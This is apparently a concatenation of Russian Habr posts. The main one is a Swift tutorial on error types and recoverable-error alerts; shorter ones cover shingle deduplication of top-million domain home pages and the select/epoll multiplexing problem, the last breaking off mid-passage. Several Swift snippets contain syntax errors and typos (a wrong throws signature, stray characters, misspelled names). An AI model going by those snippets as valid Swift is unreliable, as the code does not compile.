* Хорошо тестируется
Но перед этим давайте окунёмся в теоретический минимум по ошибкам в Swift.
### Error в Swift
Этот параграф — верхнеуровневый обзор ошибок в целом. Если вы уже активно используете свои ошибки в приложении, можете смело переходить к следующему параграфу.
Что такое ошибка? Некое неправильное действие или некорректный результат. Часто мы можем предположить возможные ошибки и заранее описать их в коде.
Для этого случая Apple дают нам тип Error. Если мы откроем документацию Apple, то Error будет выглядеть вот так (актуально для Swift 5.1):
```
public protocol Error {
}
```
Просто протокол без дополнительных требований. Документация любезно поясняет — отсутствие обязательных параметров позволяет любому типу использоваться в системе обработки ошибок Swift. С таким щадящим протоколом нам будет просто работать.
В голову сразу приходит мысль использовать enum: ошибок конечное известное количество, у них могут быть какие то параметры. Что и делают Apple. Например, можно рассмотреть реализацию DecodingError:
```
public enum DecodingError : Error {
/// Структура, хранящая дополнительную информацию об ошибке.
/// Отличная идея, стоит взять на заметку
public struct Context {
/// Дополнительные параметры для определения причин ошибки
public let codingPath: [CodingKey]
public let debugDescription: String
/// Ошибка, связанная с текущей ошибкой.
/// Можно использовать для чейна последовательности ошибок. Тоже интересная идея
public let underlyingError: Error?
public init(codingPath: [CodingKey], debugDescription: String, underlyingError: Error? = nil)
}
/// N кейсов для причин ошибки
case typeMismatch(Any.Type, DecodingError.Context)
case valueNotFound(Any.Type, DecodingError.Context)
...
```
Воспользуемся лучшими практиками Apple. Представим группу возможных ошибок сети в упрощенном виде:
```
enum NetworkError: Error {
// Любой 500 код
case serverError
// Ответ не такой, как мы ожидаем
case responseError
// Ответа нет, отвалились по таймауту, отсуствует сеть
case internetError
}
```
Теперь, в любом месте нашего приложения, где происходит ошибка, мы можем использовать наш Network.Error.
Как работать с ошибками? Есть механизм do catch. Если функция может бросить ошибку, то она помечается ключевым словом throws. Теперь каждый ее пользователь обязан обратиться к ней через конструкцию do catch. При отсутствии ошибки мы попадем в блок do, с ошибкой — в блок catch. Функций, приводящих к ошибке, может быть сколько угодно в блоке do. Единственный минус — мы в catch получим ошибку типа Error. Понадобится скастить ошибку в нужный тип.
В качестве альтернативы мы можем использовать опционал, то есть получить nil в случае ошибки и избавиться от громоздкой конструкции. Иногда это удобней: допустим, когда мы достаем опциональную переменную, а затем к ней применяем throws функцию. Код можно положить в один if/guard блок, и он останется лаконичным.
Вот пример работы с throws функцией:
```
func blah() -> String throws {
throw NetworkError.serverError
}
do {
let string = try blah()
// Эта строчка уже не вызовется, так как верхняя функция генерирует ошибку
let anotherString = try blah()
} catch {
// Распечатает NetworkError.serverError
print(error)
}
// Переменная string = nil
let string = try? blah()
```
**P.S.** Не стоит путать с do catch в других языках. Свифт не бросает исключение, а записывает значение ошибки (если она произошла) в специальный регистр. При наличии там значения идет переход в блок error, при отсутствии — блок do продолжается. Источники для самых любознательных: [www.mikeash.com/pyblog/friday-qa-2017-08-25-swift-error-handling-implementation.html](https://www.mikeash.com/pyblog/friday-qa-2017-08-25-swift-error-handling-implementation.html)
Этот метод хорош для обработки синхронных событий и не так удобен в случае долгих операций (например, запрос данных по сети), которые могут потенциально занять много времени. Тогда можно использовать простой completion.
Как альтернативу в Swift 5 внедрили Result – подготовленный enum, который содержит два варианта – success и failure. Сам по себе он не требует использование Error. Да и к асинхронности он не имеет прямого отношения. Но возвращать именно этот тип в completion удобней для асинхронных событий (иначе придется делать два completion, success и failure, или возвращать два параметра). Напишем пример:
```
func blah(handler: @escaping (Swift.Result) -> Void) {
handler(.failure(NetworkError.serverError)
}
blah(handler { result in
switch result {
case .success(let value):
print(value)
case .failure(let error):
print(error)
}
})
```
Этой информации нам вполне хватит для работы.
Еще раз, кратко:
* Ошибки в Swift — это протокол
* Удобно представлять ошибки в виде enum
* Есть два способа работы с ошибками – синхронный (do catch) и асинхронный (ваш собственный competion или Result)
### Текст ошибки
Вернемся к теме статьи. В параграфе выше мы создали свой тип ошибок. Вот он:
```
enum NetworkError: Error {
// Любой 500 код
case serverError
// Ответ не такой, как мы ожидаем
case responseError
// Ответа нет, отвалились по таймауту, отсутствует сеть
case internetError
}
```
Теперь каждую ошибку нам надо сопоставить с текстом, который будет понятен пользователю. Его мы выведем в интерфейс в случае ошибки. На помощь нам спешит LocalizedError Protocol. Он наследует protocol Error и дополняет его 4 свойствами:
```
protocol LocalizedError : Error {
var errorDescription: String? { get }
var failureReason: String? { get }
var recoverySuggestion: String? { get }
var helpAnchor: String? { get }
}
```
Реализуем протокол:
```
extension NetworkError: LocalizedError {
var errorDescription: String? {
switch self {
case .serverError, .responseError:
return "Error"
case .internetError:
return "No Internet Connection"
}
}
var failureReason: String? {
switch self {
case .serverError, .responseError:
return "Something went wrong"
case .internetError:
return nil
}
}
var recoverySuggestion: String? {
switch self {
case .serverError, .responseError:
return "Please, try again"
case .internetError:
return "Please check your internet connection and try again"
}
}
}
```
Показ ошибки почти не изменится:
```
if let error = error {
let errorMessage = [error.failureReason, error.recoverySuggestion].compactMap({ $0 }).joined(separator: ". ")
let alertVC = UIAlertController(
title: error.errorDescription,
message: errorMessage,
preferredStyle: .alert)
let action = UIAlertAction(title: "OK", style: .default) { (_) -> Void in }
alertVC.addAction(action)
self.present(alertVC, animated: true, competion: nil)
```
Отлично, с текстом все было легко. Перейдем к кнопками.
### Восстановление из ошибок
Давайте представим алгоритм обработки ошибок в виде простой диаграммы. Для ситуации, когда в результате ошибки мы показываем диалоговое окно с вариантами Try Again, Cancel и, возможно, какими-то специфичными, получаем схему:
Начнем решать задачу с конца. Нам нужна функция, которая показывает алерт с n + 1 вариантами. Накидаем, как бы нам хотелось показывать ошибку:
```
struct RecovableAction {
let title: String
let action: () -> Void
}
func showRecovableOptions(actions: [RecovableAction], from viewController: UIViewController) {
let alertActions = actions.map { UIAlertAction(name: $0.title, action: $0.action) }
let cancelAction = UIAlertAction(name: "Cancel", action: nil)
let alertController = UIAlertController(actions: alertActions)
viewController.present(alertController, complition: nil)
}
```
Функция, которая определяет тип ошибки и передает сигнал к показу алерта:
```
func handleError(error: Error) {
if error is RecovableError {
showRecovableOptions(actions: error.actions, from: viewController)
return
}
showErrorAlert(...)
}
```
И расширенный тип ошибки, у которой есть контекст и понимание, что делать при том или ином варианте.
```
struct RecovableError: Error {
let recovableACtions: [RecovableAction]
let context: Context
}
```
В голове сразу рисуется схема своего велосипеда. Но сначала давайте проверим доки Apple. Возможно, часть механизма уже есть у нас в руках.
### Нативная реализация?
Немного поиска в Интернете приведет к protocol [RecoverableError](https://developer.apple.com/documentation/foundation/recoverableerror):
```
// A specialized error that may be recoverable by presenting several potential recovery options to the user.
protocol RecoverableError : Error {
var recoveryOptions: [String] { get }
func attemptRecovery(optionIndex recoveryOptionIndex: Int, resultHandler handler: @escaping (Bool) -> Void)
func attemptRecovery(optionIndex recoveryOptionIndex: Int) -> Bool
}
```
Похоже на то, что мы ищем:
* recoveryOptions: [String] – свойство, хранящее варианты восстановления
* func attemptRecovery(optionIndex: Int) -> Bool – восстанавливает из ошибки, синхронно. True – при успехе
* func attemptRecovery(optionIndex: Int, resultHandler: (Bool) -> Void) – Асинхронный вариант, идея та же
С гайдами по использованию все скромнее. Небольшой поиск по сайту Apple и окрестностям приводит к [статье об обработке ошибок](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/ErrorHandlingCocoa/RecoverFromErrors/RecoverFromErrors.html#//apple_ref/doc/uid/TP40001806-CH206-BCIDEGGF), написанной до публичных анонсов Свифт.
Кратко:
* Механизм придуман для MacOs приложений и показывает диалоговое окно
* Он изначально построен вокруг NSError
* Внутрь ошибки в userInfo инкапсулируется объект RecoveryAttempter, который знает об условиях возникновения ошибки и может подобрать наилучший вариант решения проблемы. Объект не должен быть равен nil
* RecoveryAttempter должен поддерживать неформальный протокол NSErrorRecoveryAttempting
* Также в userInfo должны быть recovery option
* И все завязано на вызов метода presentError, который есть только в SDK macOS. Он показывает алерт
* Если алерт показан через presentError, то при выборе варианта в всплывающем окне в AppDelegate дернется интересная функция:
```
func attemptRecovery(fromError error: Error, optionIndex recoveryOptionIndex: Int, delegate: Any?, didRecoverSelector: Selector?, contextInfo: UnsafeMutableRawPointer?)
```
Но поскольку у нас нет presentError – дернуть ее не удается.
На этом моменте чувствуется, что мы откопали скорее труп, чем клад. Нам придется превращать Error в NSError и писать свою функцию для показа алерта приложением. Куча неявных связей. Можно, сложно и не совсем понятно – «Зачем?».
Пока заваривается очередная чашка чая, можно подумать, почему в функции выше используется delegate как Any и передается селектор. Ответ ниже:
**Ответ**Функция приходит к нам из времен iOS 2. И в то время в языке не было даже протоколов! Единственным способом было вызвать у объекта строковый селектор (предварительно проверив, что он поддерживается). Были времена:)
### Строим велосипед
Давайте все же реализуем протокол, нам не повредит:
```
struct RecoverableError: Foundation.RecoverableError {
let error: Error
var recoveryOptions: [String] {
return ["Try again"]s
}
func attemptRecovery(optionIndex recoveryOptionIndex: Int) -> Bool {
// Делаем заглушку, в будущем будут условия
return true
}
func attemptRecovery(optionIndex: Int, resultHandler: (Bool) -> Void) {
// Индексы не самый безопасный способ работы.
// В будущем попытаемся от них избавиться
switch optionIndex {
case 0:
resultHandler(true)
default:
resultHandler(false)
}
}
```
Зависимость ошибки от индекса – не самое удобное решение (мы легко можем выйти за пределы массива и крашнуть приложение). Но для MVP сойдёт. Возьмем идею Apple, просто осовременим ее. Нам пригодится отдельный объект Attempter и варианты кнопок, которые мы ему зададим:
```
struct RecoveryAttemper {
// Массив с вариантами
private let _recoveryOptions: [RecoveryOptions]
var recoveryOptionsText: [String] {
return _recoveryOptions.map({ $0.title })
}
init(options: [RecoveryOptions] {
_recoveryOptions = recoveryOptions
}
// Перетащим сюда обработку ошибок
func attemptRecovery(fromError error: Error, optionIndex: Int) -> Bool {
let option = _recoveryOptions[optionIndex]
switch option {
case .tryAgain(let action)
action()
return true
case .cancel:
return false
}
}
}
// Расширяемый enum, сюда мы будем складировать все варианты ошибок
enum RecoveryOptions {
// Захватим контекст для повторения действия (например, сделать повторно запрос на сервер)
case tryAgain(action: (() -> Void))
case cancel
}
```
Теперь надо показать ошибку. Я очень люблю протоколы, поэтому буду решать задачу через них. Создадим универсальный протокол для создания UIAlertController из ошибок:
```
protocol ErrorAlertCreatable: class, ErrorReasonExtractable {
// Создает алерт контролер из ошибки
func createAlert(for error: Error) -> UIAlertController
}
// MARK: - Default implementation
extension ErrorAlertCreatable where Self: UIViewController {
func createAlert(for error: Error) -> UIAlertController {
// Для восстанавливаемой ошибки соберем особый алерт
if let recoverableError = error as? RecoverableError {
return createRecoverableAlert(for: recoverableError)
}
let defaultTitle = "Error"
let description = errorReason(from: error)
// Для ошибки с описанием создадим алерт только с кнопкой ОК
if let localizedError = error as? LocalizedError {
return createAlert(
title: localizedError.errorDescription ?? defaultTitle,
message: description,
actions: [.okAction],
aboveAll: aboveAll)
}
return createAlert(title: defaultTitle, message: description, actions: [.okAction])
}
fileprivate func createAlert(title: String?, message: String?, actions: [UIAlertAction]) -> UIAlertController {
let alertViewController = UIAlertController(title: title, message: message, preferredStyle: .alert)
actions.forEach({ alertViewController.addAction($0) })
return alertViewController
}
fileprivate func createRecoverableAlert(for recoverableError: RecoverableError) -> UIAlertController {
let title = recoverableError.errorDescription
let message = recoverableError.recoverySuggestion
// Создадим кнопки из возможных опций.
let actions = recoverableError.recoveryOptions.enumerated().map { (element) -> UIAlertAction in
let style: UIAlertAction.Style = element.offset == 0 ? .cancel : .default
return UIAlertAction(title: element.element, style: style) { _ in
recoverableError.attemptRecovery(optionIndex: element.offset)
}
}
return createAlert(title: title, message: message, actions: actions)
}
func createOKAlert(with text: String) -> UIAlertController {
return createAlert(title: text, message: nil, actions: [.okAction])
}
}
extension ERror
// Удобный конструктор для действия ok
extension UIAlertAction {
static let okAction = UIAlertAction(title: "OK", style: .cancel) { (_) -> Void in }
}
// Вытаскиваем описание ошибки
protocol ErrorReasonExtractable {
func errorReason(from error: Error) -> String?
}
// MARK: - Default implementation
extension ErrorReasonExtractable {
func errorReason(from error: Error) -> String? {
if let localizedError = error as? LocalizedError {
return localizedError.recoverySuggestion
}
return "Something bad happened. Please try again"
}
}
```
И протокол для показа созданных алертов:
```
protocol ErrorAlertPresentable: class {
func presentAlert(from error: Error)
}
// MARK: - Default implementation
extension ErrorAlertPresentable where Self: ErrorAlertCreatable & UIViewController {
func presentAlert(from error: Error) {
let alertVC = createAlert(for: error)
present(alertVC, animated: true, completion: nil)
}
}
```
Получилось громоздко, но управляемо. Мы можем создавать новые способы показа ошибки (например, toast или показ кастомного вью) и прописывать дефолтную имплементацию, не меняя ничего в вызываемом методе.
Допустим, если бы наш view был прикрыт протоколом:
```
protocol ViewControllerInput: class {
// Набор методов
}
extension ViewControllerInput: ErrorAlertPresentable { }
extension ViewController: ErrorAlertCreatable { }
// Сама реализация, скрытая за протоколом может легко менять способ создания алерта, реализуя нужный протокол
// или задав свою реализацию
// Мы могли бы добавить протокол для "тостов", добавить имплементацию в ErrorAlertPresentable и заменой строчки кода поменять отображение.
extension ViewController: ErrorToastCreatable { }
```
Но наш пример гораздо проще, поэтому поддержим оба протокола и запустим приложение:
```
func requestFeed(...) {
service.requestObject { [weak self] (result) in
guard let `self` = self else { return }
switch result {
case .success:
break
case .failure(let error):
// Захватим контекст с параметрами и сделаем повторный вызов той же функции
// Из-за сильной ссылки захваченный объект (в данном случае viewController) не умрет,
// пока блок не вызовется. Или не умрет объект tryAgainOption
let tryAgainOption = RecoveryOptions.tryAgain {
self.requestFeed(...)
}
let recoveryOptions = [tryAgainOption]
let attempter = RecoveryAttemper(recoveryOptions: recoveryOptions)
let recovableError = RecoverableError(error: error, attempter: attempter)
self.presentAlert(from: recovableError)
}
}
}
// MARK: - ErrorAlertCreatable
extension ViewController: ErrorAlertCreatable { }
// MARK: - ErrorAlertPresentable
extension ViewController: ErrorAlertPresentable { }
```
Вроде все получилось. Одно из первоначальных условий было в 2-3 строчки. Расширим наш attempter удобным конструктором:
```
struct RecoveryAttemper {
//
...
//
static func tryAgainAttempter(block: @escaping (() -> Void)) -> Self {
return RecoveryAttemper(recoveryOptions: [.cancel, .tryAgain(action: block)])
}
}
func requestFeed() {
service.requestObject { [weak self] (result) in
guard let `self` = self else { return }
switch result {
case .success:
break
case .failure(let error):
// Создание упростится до строчки
let recovableError = RecoverableError(error: error, attempter: .tryAgainAttempter(block: {
self.requestFeed()
}))
self.presentAlert(from: recovableError)
}
}
}
```
Мы получили MVP-решение, и нам не будет сложно в любом месте нашего приложения подключить и вызывать его. Давайте начнем проверять edge-кейсы и масштабируемость.
### Что если у нас будет несколько сценариев выхода из ошибки?
Допустим, в нашем приложении у юзера есть хранилище. У хранилища есть ограничение по месту. В этом случае у пользователя есть два сценария для выхода из ошибки: юзер может либо освободить место, либо купить еще. Напишем следующий код:
```
// Внутри контролера
func runOutOfSpace() {
service.runOfSpace { [weak self] (result) in
guard let `self` = self else { return }
switch result {
case .success:
break
case .failure(let error):
let notEnoughSpace = RecoveryOptions.freeSpace {
self.freeSpace()
}
let buyMoreSpace = RecoveryOptions.buyMoreSpace {
self.buyMoreSpace()
}
let options = [notEnoughSpace, buyMoreSpace]
let recovableError = RecoverableError(error: error, attempter: .cancalableAttemter(options: options))
self.presentAlert(from: recovableError)
}
}
}
func freeSpace() {
let alertViewController = createOKAlert(with: "Free space selected")
present(alertViewController, animated: true, completion: nil)
}
func buyMoreSpace() {
let alertViewController = createOKAlert(with: "Buy more space selected")
present(alertViewController, animated: true, completion: nil)
}
struct RecoveryAttemper {
//
...
//
static func cancalableAttemter(options: [RecoveryOptions]) -> Self {
return RecoveryAttemper(recoveryOptions: [.cancel] + options)
}
}
```
С этим легко справились.
### Если мы захотим показывать не алерт, а информационную вьюшку посреди экрана?
Пару новых протоколов по аналогии решат нашу проблему:
```
protocol ErrorViewCreatable {
func createErrorView(for error: Error) -> ErrorView
}
// MARK: - Default implementation
extension ErrorViewCreatable {
func createErrorView(for error: Error) -> ErrorView {
if let recoverableError = error as? RecoverableError {
return createRecoverableAlert(for: recoverableError)
}
let defaultTitle = "Error"
let description = errorReason(from: error)
if let localizedError = error as? LocalizedError {
return createErrorView(
title: localizedError.errorDescription ?? defaultTitle,
message: description)
}
return createErrorView(title: defaultTitle, message: description)
}
fileprivate func createErrorView(title: String?, message: String?, actions: [ErrorView.Action] = []) -> ErrorView {
// Реализация ErrorView вышла довольно объемной и сильно зависит от дизайна.
// Вариант реализации приложен на github
return ErrorView(title: title, description: message, actions: actions)
}
fileprivate func createRecoverableAlert(for recoverableError: RecoverableError) -> ErrorView {
let title = recoverableError.errorDescription
let message = errorReason(from: recoverableError)
let actions = recoverableError.recoveryOptions.enumerated().map { (element) -> ErrorView.Action in
return ErrorView.Action(title: element.element) {
recoverableError.attemptRecovery(optionIndex: element.offset)
}
}
return createErrorView(title: title, message: message, actions: actions)
}
}
```
```
protocol ErrorViewAddable: class {
func presentErrorView(from error: Error)
var errorViewSuperview: UIView { get }
}
// MARK: - Default implementation
extension ErrorViewAddable where Self: ErrorViewCreatable {
func presentErrorView(from error: Error) {
let errorView = createErrorView(for: error)
errorViewSuperview.addSubview(errorView)
errorView.center = errorViewSuperview.center
}
}
// Алгоритм подключения такой же
// MARK: - ErrorAlertCreatable
extension ViewController: ErrorViewCreatable { }
// MARK: - ErrorAlertPresentable
extension ViewController: ErrorViewAddable {
var errorViewSuperview: UIView {
return self
}
}
```
Теперь мы можем показывать ошибки в виде информационной вью. Причем, мы можем решать, как их показывать. Например, при первом заходе на экран и ошибке – показать информационный вью. А если экран загрузился успешно, но действие на экране вернуло ошибку – показать алерт.
### Если доступа к вью нет?
Иногда нужно бросить ошибку, но доступа к вью нет. Или мы не знаем, какое вью сейчас активно, и хотим показать алерт поверх всего. Как решать эту задачу?
Один из самых простых способов (на мой взгляд) поступить так же, как Apple поступает с клавиатурой. Создать новый Window поверх текущего экрана. Сделаем это:
```
@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {
// Статическая переменная – достаточно дешевое решение.
// Более сложным и чистым решением будет создание объекта держателя и передача его через DI
static private(set) var errorWindow: UIWindow = {
let alertWindow = UIWindow.init(frame: UIScreen.main.bounds)
alertWindow.backgroundColor = .clear
// Создадим rootViewController, который будет делать present для нового viewController
let viewController = UIViewController()
viewController.view.backgroundColor = .clear
alertWindow.rootViewController = viewController
return alertWindow
}()
```
Создадим новый алерт, который может показывать поверх всего:
```
final class AboveAllAlertController: UIAlertController {
var alertWindow: UIWindow {
return AppDelegate.alertWindow
}
func show() {
let topWindow = UIApplication.shared.windows.last
if let topWindow = topWindow {
alertWindow.windowLevel = topWindow.windowLevel + 1
}
alertWindow.makeKeyAndVisible()
alertWindow.rootViewController?.present(self, animated: true, completion: nil)
}
override func viewWillDisappear(_ animated: Bool) {
super.viewWillDisappear(animated)
alertWindow.isHidden = true
}
}
```
```
protocol ErrorAlertCreatable: class {
// Добавим параметр в функцию создания
func createAlert(for error: Error, aboveAll: Bool) -> UIAlertController
}
// MARK: - Default implementation
extension ErrorAlertCreatable where Self: UIViewController {
...
// И создадим наш новый алерт
fileprivate func createAlert(title: String?, message: String?, actions: [UIAlertAction], aboveAll: Bool) -> UIAlertController {
let alertViewController = aboveAll ?
AboveAllAlertController(title: title, message: message, preferredStyle: .alert) :
UIAlertController(title: title, message: message, preferredStyle: .alert)
actions.forEach({ alertViewController.addAction($0) })
return alertViewController
}
}
// И про показ не забудем
protocol ErrorAlertPresentable: class {
func presentAlert(from error: Error)
func presentAlertAboveAll(from error: Error)
}
// MARK: - Default implementation
extension ErrorAlertPresentable where Self: ErrorAlertCreatable & UIViewController {
func presentAlert(from error: Error) {
let alertVC = createAlert(for: error, aboveAll: false)
present(alertVC, animated: true, completion: nil)
}
func presentAlertAboveAll(from error: Error) {
let alertVC = createAlert(for: error, aboveAll: true)
// Переведем в нужный тип и вызывем кастомную функцию показа
if let alertVC = alertVC as? AboveAllAlertController {
alertVC.show()
return
}
// Поможет нам найти проблему, если что-то отломается
assert(false, "Should create AboveAllAlertController")
present(alertVC, animated: true, completion: nil)
}
}
```
С виду ничего не изменилось, но теперь мы отвязались от иерархии view controller'ов. Я настоятельно рекомендую не увлекаться этой возможностью. Лучше вызывать код показа в роутере или сущности с аналогичными правами. Во имя прозрачности и понятности.
Мы дали юзерам прекрасный инструмент для спама серверов во время неполадок, техобслуживания и т.д. Что можем улучшить?
### Минимальное время запроса
Допустим, мы выключим интернет и будем жать try again. Запустим лоудер. Ответ придёт моментально и получится мини-игра «Кликер». С мигающей анимацией. Не слишком приятно.
Давайте превратим моментальную ошибку в процесс. Идея проста – сделаем минимальное время запроса. Здесь реализация зависит от вашего подхода к networking. Допустим, я использую Operation, и для меня это выглядит так:
```
final class DelayOperation: AsyncOperation {
private let _delayTime: Double
init(delayTime: Double = 0.3) {
_delayTime = delayTime
}
override func main() {
super.main()
DispatchQueue.global().asyncAfter(deadline: .now() + _delayTime) {
self.state = .finished
}
}
}
// Где-то в коде
let flowListOperation = flowService.list(for: pageID, path: path, limiter: limiter)
let handler = createHandler(for: flowListOperation)
let delayOperation = DelayOperation(delayTime: 0.5)
/// Под >>> прячется addDependency.
[flowListOperation, delayOperation] >>> handler
operationQueue.addOperations([flowListOperation, delayOperation, handler])
```
Для общего случая могу предложить такую конструкцию:
```
// Вместо global можно использовать любую нужную очередь
DispatchQueue.global().asyncAfter(deadline: .now() + 0.15) {
// your code here
}
```
Или же мы можем сделать абстракцию над нашими асинхронными действиями и добавить ей управляемости:
```
struct Task {
let closure: () -> Void
private var _delayTime: Double?
init(closure: @escaping () -> Void) {
self.closure = closure
}
fileprivate init(closure: @escaping () -> Void, time: Double) {
self.closure = closure
_delayTime = time
}
@discardableResult
func run() -> Self {
if let delayTime = _delayTime {
DispatchQueue.global().asyncAfter(deadline: .now() + delayTime) {
self.closure()
}
return self
}
closure()
return self
}
func delayedTask(time: Double) -> Self {
return Task(closure: closure, time: time)
}
}
// Где то внутри сервиса
func requestObject(completionHandler: @escaping ((Result) -> Void)) -> Task {
return Task {
completionHandler(.failure(NetworkError.internetError))
}
.delayedTask(time: 0.5)
.run()
}
```
Теперь наша анимация не будет казаться такой резкой, даже при режиме офлайн. Рекомендую использовать данный подход в большинстве мест с анимацией.
Для авиарежима хорошо показывать алерт-подсказку (пользователь мог забыть выключить режим для старта работы с приложением). Как, допустим, делает телеграмм. А для важных запросов хорошо делать повтор несколько раз под капотом, прежде чем показывать алерт… Но об этом в другой раз :)
### Тестируемость
Когда вся логика свалена во viewController (как у нас сейчас), протестировать это затруднительно. Однако если у вас viewController разделен с бизнес логикой – тестирование становится тривиальной задачей. Легкими движением руки ~~брюки~~ бизнес-логика превращается в:
```
func requestFeed() {
service.requestObject { [weak self] (result) in
guard let `self` = self else { return }
switch result {
case .success:
break
case .failure(let error):
DispatchQueue.main.async {
let recoverableError = RecoverableError(error: error, attempter: .tryAgainAttempter(block: {
self.requestFeed()
}))
// Делегируем другому объекту показ алерта
self.viewInput?.presentAlert(from: recoverableError)
}
}
}
}
```
```
// Где-то в тестах
func testRequestFeedFailed() {
// Put out mock that conform to AlertPresntable protocol
controller.viewInput = ViewInputMock()
// Вызовем метод. Нам понадобится доработать нетворкинг, чтобы он работал синхронно
// Или добавить после expectation
controller.requestFeed()
// Our mocked object should save to true to bool variable when method called
XCTAssert(controller.viewInput.presentAlertCalled)
// Next we could compare recoverable error attempter to expected attempter
}
```
Вместе с этой статьей мы:
* Сделали удобный механизм отображения алертов
* Дали пользователям возможность повторить неуспешную операцию
* И постарались улучшить пользовательский опыт работы с нашим приложением
→ [Ссылка на код](https://github.com/aleksiosdev/RecoverableError.git)
Всем спасибо за уделенное время, буду рад ответить на ваши вопросы в комментариях. | https://habr.com/ru/post/495346/ | null | ru | null |
# Пересечение морд доменов топ 1,000,000 по N-граммам
Задачей исследования является визуализация дуплицированности главных страниц доменов по пятисловным шинглам в рамках общей базы.
[](https://habrahabr.ru/post/307250/)
Запускаем краулер
-----------------
Извлекаем текст, удаляем мусор, генерируем пятисловные шинглы
-------------------------------------------------------------
На ответивших контентом страницах **найдено 588,086,318 шинглов**.
Складываем каждый шингл с дополнительной информацией в датасет **top1m\_shingles**:
**shingle**,**domain**,**position**,**count\_on\_page**
Рассчитываем n-граммы
---------------------
```
SELECT
shingle,
COUNT(shingle) cnt
FROM
top1m_shingles
GROUP BY
shingle
```
На выходе имеем таблицу **shingle\_w** из **476,380,752 уникальных n-грамм** с весами.
Дописываем вес шингла в рамках базы к исходному датасету:
```
SELECT
shingle,
domain,
position,
count_on_page,
b.cnt count_on_base
FROM
top1m_shingles AS a
JOIN
shingles_w AS b
ON
a.shingle = b.shingle
```
Если получившийся датасет сгруппировать по документам (доменам) и сконкатить значения n-грамм и позиций, получим развесованную табличку для каждого домена.
Обогащаем on\_page показателями, средними, рассчитываем UNIQ RATIO для каждого документа (как соотношение количества уникальных шинглов в рамках базы к не уникальным), выводим n-граммы, генерируем [страничку](http://data.statoperator.com/report/habrahabr.ru/):
Отчёт доступен по адресу: [data.statoperator.com/report/habrahabr.ru](http://data.statoperator.com/report/habrahabr.ru/) и содержит полную таблицу с текстами шиглов и их значениями. Шинглы изначально не отсортированы. Если хочется просмотреть их в том порядке, в котором они шли в документе — сортните таблицу по позиции. Или по частоте в базе, как на изображении:
**Меняем домен в урле или вводим в форме поиска и смотрим отчёт по любому домену из списка Alexa top 1M.**
Интересно взглянуть на новостные сайты: [data.statoperator.com/report/lenta.ru](http://data.statoperator.com/report/lenta.ru/)
Средний показатель уникальности страниц: 82.2%
----------------------------------------------
Сбор данных: 2016-07-21
Дата генерации отчёта: 2016-07-27 | https://habr.com/ru/post/307250/ | null | ru | null |
# Select принципиально неисправен. Мультиплексирование ввода/вывода часть #2
В предыдущей статье блога мы обсудили [краткую историю системного вызова select(2)](https://idea.popcount.org/2016-11-01-a-brief-history-of-select2/). В ней делается вывод, что для эмуляции консолей, игр и нетривиальных TCP/IP-приложений было необходимо определенное мультиплексирование ввода-вывода.
Разработчики BSD (Berkeley Software Distribution) выбрали модель мультиплексирования select, и за ними последовали другие Unix-подобные системы. Но является ли select единственной моделью мультиплексирования?
Хорошее объяснение можно найти в старой редакции книги ["The Design and Implementation of the FreeBSD Operating System. Дизайн и реализация операционной системы FreeBSD"](https://www.freebsd.org/doc/en_US.ISO8859-1/books/design-44bsd/). В [Google books](https://books.google.pl/books?id=KfCuBAAAQBAJ&pg=PA325&lpg=PA325&redir_esc=y) она есть, вот сниппет:
**Существуют четыре альтернативных варианта, которые позволяют избежать проблемы блокировки:**
1. Перевести все дескрипторы в неблокирующий режим. [...]
2. Сделайте доступными все дескрипторы, представляющие интерес, для [отправки] сигнала, когда может быть выполнен ввод/вывод. [...]
3. Пусть система предоставит метод запроса о том, какие дескрипторы способны выполнить ввод-вывод [...].
4. Пусть процесс зарегистрирует в [операционной] системе все события, включая ввод-вывод для дескрипторов, которые он хочет отслеживать.
Вариант 1) является наивным. Идея в том, чтобы осуществить функцию busy-polling на неблокирующих дескрипторах. Для этого придется задействовать 100% ресурсов процессора. Такой подход не очень практичен.
Вариант 2) — это старая добрая модель асинхронного ввода/вывода [SIGIO](http://davmac.org/davpage/linux/async-io.html). В Linux она реализуется с помощью [fcntl(F\_SETSIG](https://linux.die.net/man/2/fcntl)). С настроенным `fcntl` сигнал будет уведомлять ваш процесс об изменении возможности чтения/записи в дескрипторе. К сожалению, модель `F_SETSIG` в ее текущей реализации почти полностью бесполезна. *(С реализацией* `F_SETSIG` *связано слишком много проблем, не стоит и начинать. Скажем лишь, что когда вы перехватываете сигнал SIGIO, то вам не предоставляется достоверная информация, показывающая дескриптор файла, на котором произошло событие.)*
Вариант 3) — это модель, которая реализуется с помощью `select()`. Она проста, хорошо определена и легка для понимания. Используется системными вызовами `poll` и `epoll`.
Вариант 4) — самый интересный. Идея заключается в том, чтобы передать некоторое состояние ядру и сообщить ему, что именно мы хотим сделать с файловым дескриптором. Эту модель используют `kqueue` и Windows IOCP.
Каждая из этих четырех моделей мультиплексирования имеет свои недостатки, но я хотел бы сосредоточиться именно на третьем варианте: `select`.
### Тяжеловес
`Select()` был [впервые реализован 33 года назад](https://idea.popcount.org/2016-11-01-a-brief-history-of-select2/), и для такого возраста он сохранился на удивление хорошо. К сожалению, он неисправен изначально.
Сломан не только системный вызов `select()`. Все технологии, наследующие его семантику, тоже сломаны! Это включает `select`, `poll` и, в меньшей степени, `epoll`.
Как правило, аргумент против `select` заключается в том, что API предписывает выполнять линейный обход дескрипторов файлов. Это так, но, это не самая большая проблема. Семантика `select` не позволяет ядру выполнять какие-либо оптимизации. Создание быстрой реализации `select` на стороне ядра невозможно.
Каждый раз, когда выполняется `select()`, ядро должно просмотреть переданные файловые дескрипторы, проверить их состояние и зарегистрировать обратные вызовы. Затем, когда происходит событие на *любом* из файловых дескрипторов, ядро должно снова осуществить итерацию, чтобы отменить регистрацию обратных вызовов. По сути, со стороны ядра вход и выход из `select()` — это тяжелая операция, требующая обращения ко многим указателям, вызывающая трэшинг кэша процессора, и обойти ее невозможно.
`Epoll()` — это решение Linux. С ее помощью разработчик может избежать постоянной регистрации и отмены регистрации файловых дескрипторов. Это делается путем явного управления регистрациями с помощью системного вызова `epoll_ctl`.
Но `epoll` не решает всех проблем.
### Проблема «громоподобного стада»
Представьте себе дескриптор сокета, совместно используемый несколькими процессами операционной системы. Когда происходит какое-то событие, *все* процессы должны быть разбужены. Может показаться, что это надуманная проблема — зачем вам разделять дескриптор сокета? — но на практике это действительно происходит.
Допустим, вы запускаете HTTP-сервер, обслуживающий большое количество кратковременных соединений. Вам необходимо `accept()` (принять) как можно больше соединений в секунду. Выполнение `accept()` только в одном процессе, несомненно, будет перегружать процессор. Как это исправить?
